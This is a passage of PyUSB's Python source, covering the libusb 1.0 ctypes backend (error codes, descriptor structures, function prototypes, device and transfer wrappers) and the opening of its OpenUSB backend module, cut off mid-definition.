DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. from ctypes import * import usb.util import sys import logging from usb._debug import methodtrace import usb._interop as _interop import usb._objfinalizer as _objfinalizer import errno import math from usb.core import USBError import usb.libloader __author__ = 'Wander Lairson Costa' __all__ = [ 'get_backend', 'LIBUSB_SUCESS', 'LIBUSB_ERROR_IO', 'LIBUSB_ERROR_INVALID_PARAM', 'LIBUSB_ERROR_ACCESS', 'LIBUSB_ERROR_NO_DEVICE', 'LIBUSB_ERROR_NOT_FOUND', 'LIBUSB_ERROR_BUSY', 'LIBUSB_ERROR_TIMEOUT', 'LIBUSB_ERROR_OVERFLOW', 'LIBUSB_ERROR_PIPE', 'LIBUSB_ERROR_INTERRUPTED', 'LIBUSB_ERROR_NO_MEM', 'LIBUSB_ERROR_NOT_SUPPORTED', 'LIBUSB_ERROR_OTHER' 'LIBUSB_TRANSFER_COMPLETED', 'LIBUSB_TRANSFER_ERROR', 'LIBUSB_TRANSFER_TIMED_OUT', 'LIBUSB_TRANSFER_CANCELLED', 'LIBUSB_TRANSFER_STALL', 'LIBUSB_TRANSFER_NO_DEVICE', 'LIBUSB_TRANSFER_OVERFLOW' ] _logger = logging.getLogger('usb.backend.libusb1') # libusb.h # transfer_type codes # Control endpoint _LIBUSB_TRANSFER_TYPE_CONTROL = 0, # Isochronous endpoint _LIBUSB_TRANSFER_TYPE_ISOCHRONOUS = 1 # Bulk endpoint _LIBUSB_TRANSFER_TYPE_BULK = 2 # Interrupt endpoint _LIBUSB_TRANSFER_TYPE_INTERRUPT = 3 # return codes LIBUSB_SUCCESS = 0 LIBUSB_ERROR_IO = -1 LIBUSB_ERROR_INVALID_PARAM = -2 LIBUSB_ERROR_ACCESS = -3 LIBUSB_ERROR_NO_DEVICE = -4 LIBUSB_ERROR_NOT_FOUND = -5 LIBUSB_ERROR_BUSY = -6 LIBUSB_ERROR_TIMEOUT = -7 LIBUSB_ERROR_OVERFLOW = -8 LIBUSB_ERROR_PIPE = -9 LIBUSB_ERROR_INTERRUPTED = -10 LIBUSB_ERROR_NO_MEM = -11 LIBUSB_ERROR_NOT_SUPPORTED = -12 LIBUSB_ERROR_OTHER = -99 # map return codes to strings _str_error_map = { LIBUSB_SUCCESS:'Success (no error)', LIBUSB_ERROR_IO:'Input/output error', LIBUSB_ERROR_INVALID_PARAM:'Invalid parameter', LIBUSB_ERROR_ACCESS:'Access denied (insufficient permissions)', LIBUSB_ERROR_NO_DEVICE:'No such device (it may have been disconnected)', LIBUSB_ERROR_NOT_FOUND:'Entity not found', LIBUSB_ERROR_BUSY:'Resource busy', LIBUSB_ERROR_TIMEOUT:'Operation timed out', LIBUSB_ERROR_OVERFLOW:'Overflow', LIBUSB_ERROR_PIPE:'Pipe error', LIBUSB_ERROR_INTERRUPTED:'System call interrupted (perhaps due to signal)', LIBUSB_ERROR_NO_MEM:'Insufficient memory', LIBUSB_ERROR_NOT_SUPPORTED:'Operation not supported or unimplemented on this platform', LIBUSB_ERROR_OTHER:'Unknown error' } # map return code to errno values _libusb_errno = { 0:None, LIBUSB_ERROR_IO:errno.__dict__.get('EIO', None), LIBUSB_ERROR_INVALID_PARAM:errno.__dict__.get('EINVAL', None), LIBUSB_ERROR_ACCESS:errno.__dict__.get('EACCES', None), LIBUSB_ERROR_NO_DEVICE:errno.__dict__.get('ENODEV', None), LIBUSB_ERROR_NOT_FOUND:errno.__dict__.get('ENOENT', None), LIBUSB_ERROR_BUSY:errno.__dict__.get('EBUSY', None), LIBUSB_ERROR_TIMEOUT:errno.__dict__.get('ETIMEDOUT', None), LIBUSB_ERROR_OVERFLOW:errno.__dict__.get('EOVERFLOW', None), LIBUSB_ERROR_PIPE:errno.__dict__.get('EPIPE', None), LIBUSB_ERROR_INTERRUPTED:errno.__dict__.get('EINTR', None), LIBUSB_ERROR_NO_MEM:errno.__dict__.get('ENOMEM', None), LIBUSB_ERROR_NOT_SUPPORTED:errno.__dict__.get('ENOSYS', None), LIBUSB_ERROR_OTHER:None } # Transfer status codes: # Note that this does not indicate # that the entire amount of requested data was transferred. LIBUSB_TRANSFER_COMPLETED = 0 LIBUSB_TRANSFER_ERROR = 1 LIBUSB_TRANSFER_TIMED_OUT = 2 LIBUSB_TRANSFER_CANCELLED = 3 LIBUSB_TRANSFER_STALL = 4 LIBUSB_TRANSFER_NO_DEVICE = 5 LIBUSB_TRANSFER_OVERFLOW = 6 # map return codes to strings _str_transfer_error = { LIBUSB_TRANSFER_COMPLETED:'Success (no error)', LIBUSB_TRANSFER_ERROR:'Transfer failed', LIBUSB_TRANSFER_TIMED_OUT:'Transfer timed out', LIBUSB_TRANSFER_CANCELLED:'Transfer was cancelled', LIBUSB_TRANSFER_STALL:'For bulk/interrupt endpoints: halt condition '\ 'detected (endpoint stalled). For control '\ 'endpoints: control request not supported.', LIBUSB_TRANSFER_NO_DEVICE:'Device was disconnected', LIBUSB_TRANSFER_OVERFLOW:'Device sent more data than requested' } # map transfer codes to errno codes _transfer_errno = { LIBUSB_TRANSFER_COMPLETED:0, LIBUSB_TRANSFER_ERROR:errno.__dict__.get('EIO', None), LIBUSB_TRANSFER_TIMED_OUT:errno.__dict__.get('ETIMEDOUT', None), LIBUSB_TRANSFER_CANCELLED:errno.__dict__.get('EAGAIN', None), LIBUSB_TRANSFER_STALL:errno.__dict__.get('EIO', None), LIBUSB_TRANSFER_NO_DEVICE:errno.__dict__.get('ENODEV', None), LIBUSB_TRANSFER_OVERFLOW:errno.__dict__.get('EOVERFLOW', None) } def _strerror(errcode): try: return _lib.libusb_strerror(errcode).decode('utf8') except AttributeError: return _str_error_map[errcode] # Data structures class _libusb_endpoint_descriptor(Structure): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bEndpointAddress', c_uint8), ('bmAttributes', c_uint8), ('wMaxPacketSize', c_uint16), ('bInterval', c_uint8), ('bRefresh', c_uint8), ('bSynchAddress', c_uint8), ('extra', POINTER(c_ubyte)), ('extra_length', c_int)] class _libusb_interface_descriptor(Structure): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bInterfaceNumber', c_uint8), ('bAlternateSetting', c_uint8), ('bNumEndpoints', c_uint8), ('bInterfaceClass', c_uint8), ('bInterfaceSubClass', c_uint8), ('bInterfaceProtocol', c_uint8), ('iInterface', c_uint8), ('endpoint', POINTER(_libusb_endpoint_descriptor)), ('extra', POINTER(c_ubyte)), ('extra_length', c_int)] class _libusb_interface(Structure): _fields_ = [('altsetting', POINTER(_libusb_interface_descriptor)), ('num_altsetting', c_int)] class _libusb_config_descriptor(Structure): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('wTotalLength', c_uint16), ('bNumInterfaces', c_uint8), ('bConfigurationValue', c_uint8), ('iConfiguration', c_uint8), ('bmAttributes', c_uint8), ('bMaxPower', c_uint8), ('interface', POINTER(_libusb_interface)), ('extra', POINTER(c_ubyte)), ('extra_length', c_int)] class _libusb_device_descriptor(Structure): _fields_ = [('bLength', c_uint8), ('bDescriptorType', c_uint8), ('bcdUSB', c_uint16), ('bDeviceClass', c_uint8), ('bDeviceSubClass', c_uint8), ('bDeviceProtocol', c_uint8), ('bMaxPacketSize0', c_uint8), ('idVendor', c_uint16), ('idProduct', c_uint16), ('bcdDevice', c_uint16), ('iManufacturer', c_uint8), ('iProduct', c_uint8), ('iSerialNumber', c_uint8), ('bNumConfigurations', c_uint8)] # Isochronous packet descriptor. class _libusb_iso_packet_descriptor(Structure): _fields_ = [('length', c_uint), ('actual_length', c_uint), ('status', c_int)] # enum libusb_transfer_status _libusb_device_handle = c_void_p class _libusb_transfer(Structure): pass _libusb_transfer_p = POINTER(_libusb_transfer) _libusb_transfer_cb_fn_p = CFUNCTYPE(None, _libusb_transfer_p) _libusb_transfer._fields_ = [('dev_handle', _libusb_device_handle), ('flags', c_uint8), ('endpoint', c_uint8), ('type', c_uint8), ('timeout', c_uint), ('status', c_int), # enum libusb_transfer_status ('length', c_int), ('actual_length', c_int), ('callback', _libusb_transfer_cb_fn_p), ('user_data', py_object), ('buffer', c_void_p), ('num_iso_packets', c_int), ('iso_packet_desc', _libusb_iso_packet_descriptor) ] def _get_iso_packet_list(transfer): list_type = _libusb_iso_packet_descriptor * transfer.num_iso_packets return list_type.from_address(addressof(transfer.iso_packet_desc)) _lib = None def _load_library(find_library=None): # Windows backend uses stdcall calling convention # # On FreeBSD 8/9, libusb 1.0 and libusb 0.1 are in the same shared # object libusb.so, so if we found libusb library name, we must assure # it is 1.0 version. We just try to get some symbol from 1.0 version if sys.platform == 'win32': win_cls = WinDLL else: win_cls = None return usb.libloader.load_locate_library( ('usb-1.0', 'libusb-1.0', 'usb'), 'cygusb-1.0.dll', 'Libusb 1', win_cls=win_cls, find_library=find_library, check_symbols=('libusb_init',)) def _setup_prototypes(lib): # void libusb_set_debug (libusb_context *ctx, int level) lib.libusb_set_debug.argtypes = [c_void_p, c_int] # int libusb_init (libusb_context **context) lib.libusb_init.argtypes = [POINTER(c_void_p)] # void libusb_exit (struct libusb_context *ctx) lib.libusb_exit.argtypes = [c_void_p] # ssize_t libusb_get_device_list (libusb_context *ctx, # libusb_device ***list) lib.libusb_get_device_list.argtypes = [ c_void_p, POINTER(POINTER(c_void_p)) ] # void libusb_free_device_list (libusb_device **list, # int unref_devices) lib.libusb_free_device_list.argtypes = [ POINTER(c_void_p), c_int ] # libusb_device *libusb_ref_device (libusb_device *dev) lib.libusb_ref_device.argtypes = [c_void_p] lib.libusb_ref_device.restype = c_void_p # void libusb_unref_device(libusb_device *dev) lib.libusb_unref_device.argtypes = [c_void_p] # int libusb_open(libusb_device *dev, libusb_device_handle **handle) lib.libusb_open.argtypes = [c_void_p, POINTER(_libusb_device_handle)] # void libusb_close(libusb_device_handle *dev_handle) lib.libusb_close.argtypes = [_libusb_device_handle] # int libusb_set_configuration(libusb_device_handle *dev, # int configuration) lib.libusb_set_configuration.argtypes = [_libusb_device_handle, c_int] # int libusb_get_configuration(libusb_device_handle *dev, # int *config) lib.libusb_get_configuration.argtypes = [_libusb_device_handle, POINTER(c_int)] # int libusb_claim_interface(libusb_device_handle *dev, # int interface_number) lib.libusb_claim_interface.argtypes = [_libusb_device_handle, c_int] # int libusb_release_interface(libusb_device_handle *dev, # int interface_number) lib.libusb_release_interface.argtypes = [_libusb_device_handle, c_int] # int libusb_set_interface_alt_setting(libusb_device_handle *dev, # int interface_number, # int alternate_setting) lib.libusb_set_interface_alt_setting.argtypes = [ _libusb_device_handle, c_int, c_int ] # int libusb_reset_device (libusb_device_handle *dev) lib.libusb_reset_device.argtypes = [_libusb_device_handle] # int libusb_kernel_driver_active(libusb_device_handle *dev, # int interface) lib.libusb_kernel_driver_active.argtypes = [ _libusb_device_handle, c_int ] # int libusb_detach_kernel_driver(libusb_device_handle *dev, # int interface) lib.libusb_detach_kernel_driver.argtypes = [ _libusb_device_handle, c_int ] # int libusb_attach_kernel_driver(libusb_device_handle *dev, # int interface) lib.libusb_attach_kernel_driver.argtypes = [ _libusb_device_handle, c_int ] # int libusb_get_device_descriptor( # libusb_device *dev, # struct libusb_device_descriptor *desc # ) lib.libusb_get_device_descriptor.argtypes = [ c_void_p, POINTER(_libusb_device_descriptor) ] # int libusb_get_config_descriptor( # libusb_device *dev, # uint8_t config_index, # struct libusb_config_descriptor **config # ) lib.libusb_get_config_descriptor.argtypes = [ c_void_p, c_uint8, POINTER(POINTER(_libusb_config_descriptor)) ] # void libusb_free_config_descriptor( # struct libusb_config_descriptor *config # ) lib.libusb_free_config_descriptor.argtypes = [ POINTER(_libusb_config_descriptor) ] # int libusb_get_string_descriptor_ascii(libusb_device_handle *dev, # uint8_t desc_index, # unsigned char *data, # int length) lib.libusb_get_string_descriptor_ascii.argtypes = [ _libusb_device_handle, c_uint8, POINTER(c_ubyte), c_int ] # int libusb_control_transfer(libusb_device_handle *dev_handle, # uint8_t bmRequestType, # uint8_t bRequest, # uint16_t wValue, # uint16_t wIndex, # unsigned char *data, # uint16_t wLength, # unsigned int timeout) lib.libusb_control_transfer.argtypes = [ _libusb_device_handle, c_uint8, c_uint8, c_uint16, c_uint16, POINTER(c_ubyte), c_uint16, c_uint ] #int libusb_bulk_transfer( # struct libusb_device_handle *dev_handle, # unsigned char endpoint, # unsigned char *data, # int length, # int *transferred, # unsigned int timeout # ) lib.libusb_bulk_transfer.argtypes = [ _libusb_device_handle, c_ubyte, POINTER(c_ubyte), c_int, POINTER(c_int), c_uint ] # int libusb_interrupt_transfer( # libusb_device_handle *dev_handle, # unsigned char endpoint, # unsigned char *data, # int length, # int *actual_length, # unsigned int timeout # ); lib.libusb_interrupt_transfer.argtypes = [ _libusb_device_handle, c_ubyte, POINTER(c_ubyte), c_int, POINTER(c_int), c_uint ] # libusb_transfer* libusb_alloc_transfer(int iso_packets); lib.libusb_alloc_transfer.argtypes = [c_int] lib.libusb_alloc_transfer.restype = POINTER(_libusb_transfer) # void libusb_free_transfer(struct libusb_transfer *transfer) lib.libusb_free_transfer.argtypes = [POINTER(_libusb_transfer)] # int libusb_submit_transfer(struct libusb_transfer *transfer); lib.libusb_submit_transfer.argtypes = [POINTER(_libusb_transfer)] if hasattr(lib, 'libusb_strerror'): # const char *libusb_strerror(enum libusb_error errcode) lib.libusb_strerror.argtypes = [c_uint] lib.libusb_strerror.restype = c_char_p # int libusb_clear_halt(libusb_device_handle *dev, unsigned char endpoint) lib.libusb_clear_halt.argtypes = [_libusb_device_handle, c_ubyte] # void libusb_set_iso_packet_lengths( # libusb_transfer* transfer, # unsigned int length # ); def libusb_set_iso_packet_lengths(transfer_p, length): r"""This function is inline in the libusb.h file, so we must implement it. lib.libusb_set_iso_packet_lengths.argtypes = [ POINTER(_libusb_transfer), c_int ] """ transfer = transfer_p.contents for iso_packet_desc in _get_iso_packet_list(transfer): iso_packet_desc.length = length lib.libusb_set_iso_packet_lengths = libusb_set_iso_packet_lengths #int libusb_get_max_iso_packet_size(libusb_device* dev, # unsigned char endpoint); lib.libusb_get_max_iso_packet_size.argtypes = [c_void_p, c_ubyte] # void libusb_fill_iso_transfer( # struct libusb_transfer* transfer, # libusb_device_handle* dev_handle, # unsigned char endpoint, # unsigned char* buffer, # int length, # int num_iso_packets, # libusb_transfer_cb_fn callback, # void * user_data, # unsigned int timeout # ); def libusb_fill_iso_transfer(_libusb_transfer_p, dev_handle, endpoint, buffer, length, num_iso_packets, callback, user_data, timeout): r"""This function is inline in the libusb.h file, so we must implement it. lib.libusb_fill_iso_transfer.argtypes = [ _libusb_transfer, _libusb_device_handle, c_ubyte, POINTER(c_ubyte), c_int, c_int, _libusb_transfer_cb_fn_p, c_void_p, c_uint ] """ transfer = _libusb_transfer_p.contents transfer.dev_handle = dev_handle transfer.endpoint = endpoint transfer.type = _LIBUSB_TRANSFER_TYPE_ISOCHRONOUS transfer.timeout = timeout transfer.buffer = cast(buffer, c_void_p) transfer.length = length transfer.num_iso_packets = num_iso_packets transfer.user_data = user_data transfer.callback = callback lib.libusb_fill_iso_transfer = libusb_fill_iso_transfer # uint8_t libusb_get_bus_number(libusb_device *dev) lib.libusb_get_bus_number.argtypes = [c_void_p] lib.libusb_get_bus_number.restype = c_uint8 # uint8_t libusb_get_device_address(libusb_device *dev) lib.libusb_get_device_address.argtypes = [c_void_p] lib.libusb_get_device_address.restype = c_uint8 try: # uint8_t libusb_get_device_speed(libusb_device *dev) lib.libusb_get_device_speed.argtypes = [c_void_p] lib.libusb_get_device_speed.restype = c_uint8 except AttributeError: pass try: # uint8_t libusb_get_port_number(libusb_device *dev) lib.libusb_get_port_number.argtypes = [c_void_p] lib.libusb_get_port_number.restype = c_uint8 except AttributeError: pass try: # int libusb_get_port_numbers(libusb_device *dev, # uint8_t* port_numbers, # int port_numbers_len) lib.libusb_get_port_numbers.argtypes = [ c_void_p, POINTER(c_uint8), c_int ] lib.libusb_get_port_numbers.restype = c_int except AttributeError: pass #int libusb_handle_events(libusb_context *ctx); lib.libusb_handle_events.argtypes = [c_void_p] # check a libusb function call def _check(ret): if hasattr(ret, 'value'): ret = ret.value if ret < 0: if ret == LIBUSB_ERROR_NOT_SUPPORTED: raise NotImplementedError(_strerror(ret)) else: raise USBError(_strerror(ret), ret, _libusb_errno[ret]) return ret # wrap a device class _Device(_objfinalizer.AutoFinalizedObject): def __init__(self, devid): self.devid = _lib.libusb_ref_device(devid) def _finalize_object(self): _lib.libusb_unref_device(self.devid) # wrap a descriptor and keep a reference to another object # Thanks to Thomas Reitmayr. class _WrapDescriptor(object): def __init__(self, desc, obj = None): self.obj = obj self.desc = desc def __getattr__(self, name): return getattr(self.desc, name) # wrap a configuration descriptor class _ConfigDescriptor(_objfinalizer.AutoFinalizedObject): def __init__(self, desc): self.desc = desc def _finalize_object(self): _lib.libusb_free_config_descriptor(self.desc) def __getattr__(self, name): return getattr(self.desc.contents, name) # iterator for libusb devices class _DevIterator(_objfinalizer.AutoFinalizedObject): def __init__(self, ctx): self.dev_list = POINTER(c_void_p)() self.num_devs = _check(_lib.libusb_get_device_list( ctx, byref(self.dev_list)) ) def __iter__(self): for i in range(self.num_devs): yield _Device(self.dev_list[i]) def _finalize_object(self): _lib.libusb_free_device_list(self.dev_list, 1) class _DeviceHandle(object): def __init__(self, dev): self.handle = _libusb_device_handle() self.devid = dev.devid _check(_lib.libusb_open(self.devid, byref(self.handle))) class _IsoTransferHandler(_objfinalizer.AutoFinalizedObject): def __init__(self, dev_handle, ep, buff, timeout): address, length = buff.buffer_info() packet_length = _lib.libusb_get_max_iso_packet_size(dev_handle.devid, ep) packet_count = int(math.ceil(float(length) / packet_length)) self.transfer = _lib.libusb_alloc_transfer(packet_count) _lib.libusb_fill_iso_transfer(self.transfer, dev_handle.handle, ep, cast(address, POINTER(c_ubyte)), length, packet_count, _libusb_transfer_cb_fn_p(self.__callback), None, timeout) self.__set_packets_length(length, packet_length) def _finalize_object(self): _lib.libusb_free_transfer(self.transfer) def submit(self, ctx = None): self.__callback_done = 0 _check(_lib.libusb_submit_transfer(self.transfer)) while not self.__callback_done: _check(_lib.libusb_handle_events(ctx)) status = int(self.transfer.contents.status) if status != LIBUSB_TRANSFER_COMPLETED: raise usb.USBError(_str_transfer_error[status], status, _transfer_errno[status]) return self.__compute_size_transf_data() def __compute_size_transf_data(self): return sum([t.actual_length for t in _get_iso_packet_list(self.transfer.contents)]) def __set_packets_length(self, n, packet_length): _lib.libusb_set_iso_packet_lengths(self.transfer, packet_length) r = n % packet_length if r: iso_packets = _get_iso_packet_list(self.transfer.contents) # When the device is disconnected, this list may # return with length 0 if len(iso_packets): iso_packets[-1].length = r def __callback(self, transfer): self.__callback_done = 1 # implementation of libusb 1.0 backend class _LibUSB(usb.backend.IBackend): @methodtrace(_logger) def __init__(self, lib): usb.backend.IBackend.__init__(self) self.lib = lib self.ctx = c_void_p() _check(self.lib.libusb_init(byref(self.ctx))) @methodtrace(_logger) def _finalize_object(self): self.lib.libusb_exit(self.ctx) @methodtrace(_logger) def enumerate_devices(self): return _DevIterator(self.ctx) @methodtrace(_logger) def get_device_descriptor(self, dev): dev_desc = _libusb_device_descriptor() _check(self.lib.libusb_get_device_descriptor(dev.devid, byref(dev_desc))) dev_desc.bus = self.lib.libusb_get_bus_number(dev.devid) dev_desc.address = self.lib.libusb_get_device_address(dev.devid) # Only available in newer versions of libusb try: dev_desc.speed = self.lib.libusb_get_device_speed(dev.devid) except AttributeError: dev_desc.speed = None # Only available in newer versions of libusb try: dev_desc.port_number = self.lib.libusb_get_port_number(dev.devid) except AttributeError: dev_desc.port_number = None # Only available in newer versions of libusb try: buff = (c_uint8 * 7)() # USB 3.0 maximum depth is 7 written = dev_desc.port_numbers = self.lib.libusb_get_port_numbers( dev.devid, buff, len(buff)) if written > 0: dev_desc.port_numbers = tuple(buff[:written]) else: dev_desc.port_numbers = None except AttributeError: dev_desc.port_numbers = None return dev_desc @methodtrace(_logger) def get_configuration_descriptor(self, dev, config): cfg = POINTER(_libusb_config_descriptor)() _check(self.lib.libusb_get_config_descriptor( dev.devid, config, byref(cfg))) config_desc = _ConfigDescriptor(cfg) config_desc.extra_descriptors = ( config_desc.extra[:config_desc.extra_length]) return config_desc @methodtrace(_logger) def get_interface_descriptor(self, dev, intf, alt, config): cfg = self.get_configuration_descriptor(dev, config) if intf >= cfg.bNumInterfaces: raise IndexError('Invalid interface index ' + str(intf)) i = cfg.interface[intf] if alt >= i.num_altsetting: raise IndexError('Invalid alternate setting index ' + str(alt)) intf_desc = i.altsetting[alt] intf_desc.extra_descriptors = intf_desc.extra[:intf_desc.extra_length] return _WrapDescriptor(intf_desc, cfg) @methodtrace(_logger) def get_endpoint_descriptor(self, dev, ep, intf, alt, config): i = self.get_interface_descriptor(dev, intf, alt, config) if ep > i.bNumEndpoints: raise IndexError('Invalid endpoint index ' + str(ep)) ep_desc = i.endpoint[ep] ep_desc.extra_descriptors = ep_desc.extra[:ep_desc.extra_length] return _WrapDescriptor(ep_desc, i) @methodtrace(_logger) def open_device(self, dev): return _DeviceHandle(dev) @methodtrace(_logger) def close_device(self, dev_handle): self.lib.libusb_close(dev_handle.handle) @methodtrace(_logger) def set_configuration(self, dev_handle, config_value): _check(self.lib.libusb_set_configuration(dev_handle.handle, config_value)) @methodtrace(_logger) def get_configuration(self, dev_handle): config = c_int() _check(self.lib.libusb_get_configuration(dev_handle.handle, byref(config))) return config.value @methodtrace(_logger) def set_interface_altsetting(self, dev_handle, intf, altsetting): _check(self.lib.libusb_set_interface_alt_setting( dev_handle.handle, intf, altsetting)) @methodtrace(_logger) def claim_interface(self, dev_handle, intf): _check(self.lib.libusb_claim_interface(dev_handle.handle, intf)) @methodtrace(_logger) def release_interface(self, dev_handle, intf): _check(self.lib.libusb_release_interface(dev_handle.handle, intf)) @methodtrace(_logger) def bulk_write(self, dev_handle, ep, intf, data, timeout): return self.__write(self.lib.libusb_bulk_transfer, dev_handle, ep, intf, data, timeout) @methodtrace(_logger) def bulk_read(self, dev_handle, ep, intf, buff, timeout): return self.__read(self.lib.libusb_bulk_transfer, dev_handle, ep, intf, buff, timeout) @methodtrace(_logger) def intr_write(self, dev_handle, ep, intf, data, timeout): return self.__write(self.lib.libusb_interrupt_transfer, dev_handle, ep, intf, data, timeout) @methodtrace(_logger) def intr_read(self, dev_handle, ep, intf, buff, timeout): return self.__read(self.lib.libusb_interrupt_transfer, dev_handle, ep, intf, buff, timeout) @methodtrace(_logger) def iso_write(self, dev_handle, ep, intf, data, timeout): handler = _IsoTransferHandler(dev_handle, ep, data, timeout) return handler.submit(self.ctx) @methodtrace(_logger) def iso_read(self, dev_handle, ep, intf, buff, timeout): handler = _IsoTransferHandler(dev_handle, ep, buff, timeout) return handler.submit(self.ctx) @methodtrace(_logger) def ctrl_transfer(self, dev_handle, bmRequestType, bRequest, wValue, wIndex, data, timeout): addr, length = data.buffer_info() length *= data.itemsize ret = _check(self.lib.libusb_control_transfer( dev_handle.handle, bmRequestType, bRequest, wValue, wIndex, cast(addr, POINTER(c_ubyte)), length, timeout)) return ret @methodtrace(_logger) def clear_halt(self, dev_handle, ep): _check(self.lib.libusb_clear_halt(dev_handle.handle, ep)) @methodtrace(_logger) def reset_device(self, dev_handle): _check(self.lib.libusb_reset_device(dev_handle.handle)) @methodtrace(_logger) def is_kernel_driver_active(self, dev_handle, intf): return bool(_check(self.lib.libusb_kernel_driver_active(dev_handle.handle, intf))) @methodtrace(_logger) def detach_kernel_driver(self, dev_handle, intf): _check(self.lib.libusb_detach_kernel_driver(dev_handle.handle, intf)) @methodtrace(_logger) def attach_kernel_driver(self, dev_handle, intf): _check(self.lib.libusb_attach_kernel_driver(dev_handle.handle, intf)) def __write(self, fn, dev_handle, ep, intf, data, timeout): address, length = data.buffer_info() length *= data.itemsize transferred = c_int() retval = fn(dev_handle.handle, ep, cast(address, POINTER(c_ubyte)), length, byref(transferred), timeout) # do not assume LIBUSB_ERROR_TIMEOUT means no I/O. if not (transferred.value and retval == LIBUSB_ERROR_TIMEOUT): _check(retval) return transferred.value def __read(self, fn, dev_handle, ep, intf, buff, timeout): address, length = buff.buffer_info() length *= buff.itemsize transferred = c_int() retval = fn(dev_handle.handle, ep, cast(address, POINTER(c_ubyte)), length, byref(transferred), timeout) # do not assume LIBUSB_ERROR_TIMEOUT means no I/O. if not (transferred.value and retval == LIBUSB_ERROR_TIMEOUT): _check(retval) return transferred.value def get_backend(find_library=None): global _lib try: if _lib is None: _lib = _load_library(find_library=find_library) _setup_prototypes(_lib) return _LibUSB(_lib) except usb.libloader.LibraryException: # exception already logged (if any) _logger.error('Error loading libusb 1.0 backend', exc_info=False) return None except Exception: _logger.error('Error loading libusb 1.0 backend', exc_info=True) return None ================================================ FILE: usb/backend/openusb.py ================================================ # Copyright (C) 2009-2014 Wander Lairson Costa # # The following terms apply to all files associated # with the software unless explicitly disclaimed in individual files. # # The authors hereby grant permission to use, copy, modify, distribute, # and license this software and its documentation for any purpose, provided # that existing copyright notices are retained in all copies and that this # notice is included verbatim in any distributions. No written agreement, # license, or royalty fee is required for any of the authorized uses. # Modifications to this software may be copyrighted by their authors # and need not follow the licensing terms described here, provided that # the new terms are clearly indicated on the first page of each file where # they apply. # # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR # MODIFICATIONS. from ctypes import * import ctypes.util import usb.util from usb._debug import methodtrace import logging import errno import sys import usb._interop as _interop import usb._objfinalizer as _objfinalizer import usb.util as util import usb.libloader from usb.core import USBError __author__ = 'Wander Lairson Costa' __all__ = [ 'get_backend' 'OPENUSB_SUCCESS' 'OPENUSB_PLATFORM_FAILURE' 'OPENUSB_NO_RESOURCES' 'OPENUSB_NO_BANDWIDTH' 'OPENUSB_NOT_SUPPORTED' 'OPENUSB_HC_HARDWARE_ERROR' 'OPENUSB_INVALID_PERM' 'OPENUSB_BUSY' 'OPENUSB_BADARG' 'OPENUSB_NOACCESS' 'OPENUSB_PARSE_ERROR' 'OPENUSB_UNKNOWN_DEVICE' 'OPENUSB_INVALID_HANDLE' 'OPENUSB_SYS_FUNC_FAILURE' 'OPENUSB_NULL_LIST' 'OPENUSB_CB_CONTINUE' 'OPENUSB_CB_TERMINATE' 'OPENUSB_IO_STALL' 'OPENUSB_IO_CRC_ERROR' 'OPENUSB_IO_DEVICE_HUNG' 'OPENUSB_IO_REQ_TOO_BIG' 'OPENUSB_IO_BIT_STUFFING' 'OPENUSB_IO_UNEXPECTED_PID' 'OPENUSB_IO_DATA_OVERRUN' 'OPENUSB_IO_DATA_UNDERRUN' 'OPENUSB_IO_BUFFER_OVERRUN' 'OPENUSB_IO_BUFFER_UNDERRUN' 'OPENUSB_IO_PID_CHECK_FAILURE' 'OPENUSB_IO_DATA_TOGGLE_MISMATCH' 'OPENUSB_IO_TIMEOUT' 'OPENUSB_IO_CANCELED' ] _logger = logging.getLogger('usb.backend.openusb') OPENUSB_SUCCESS = 0 OPENUSB_PLATFORM_FAILURE = -1 OPENUSB_NO_RESOURCES = -2 OPENUSB_NO_BANDWIDTH = -3 OPENUSB_NOT_SUPPORTED = -4 OPENUSB_HC_HARDWARE_ERROR = -5 OPENUSB_INVALID_PERM = -6 OPENUSB_BUSY = -7 OPENUSB_BADARG = -8 OPENUSB_NOACCESS = -9 OPENUSB_PARSE_ERROR = -10 OPENUSB_UNKNOWN_DEVICE = -11 OPENUSB_INVALID_HANDLE = -12 OPENUSB_SYS_FUNC_FAILURE = -13 OPENUSB_NULL_LIST = -14 OPENUSB_CB_CONTINUE = -20 OPENUSB_CB_TERMINATE = -21 OPENUSB_IO_STALL = -50 OPENUSB_IO_CRC_ERROR = -51 OPENUSB_IO_DEVICE_HUNG = -52 OPENUSB_IO_REQ_TOO_BIG = -53 OPENUSB_IO_BIT_STUFFING = -54 OPENUSB_IO_UNEXPECTED_PID = -55 OPENUSB_IO_DATA_OVERRUN = -56 OPENUSB_IO_DATA_UNDERRUN = -57 OPENUSB_IO_BUFFER_OVERRUN = -58 OPENUSB_IO_BUFFER_UNDERRUN = -59 OPENUSB_IO_PID_CHECK_FAILURE = -60 OPENUSB_IO_DATA_TOGGLE_MISMATCH = -61 OPENUSB_IO_TIMEOUT = -62 OPENUSB_IO_CANCELED = -63 _openusb_errno = { 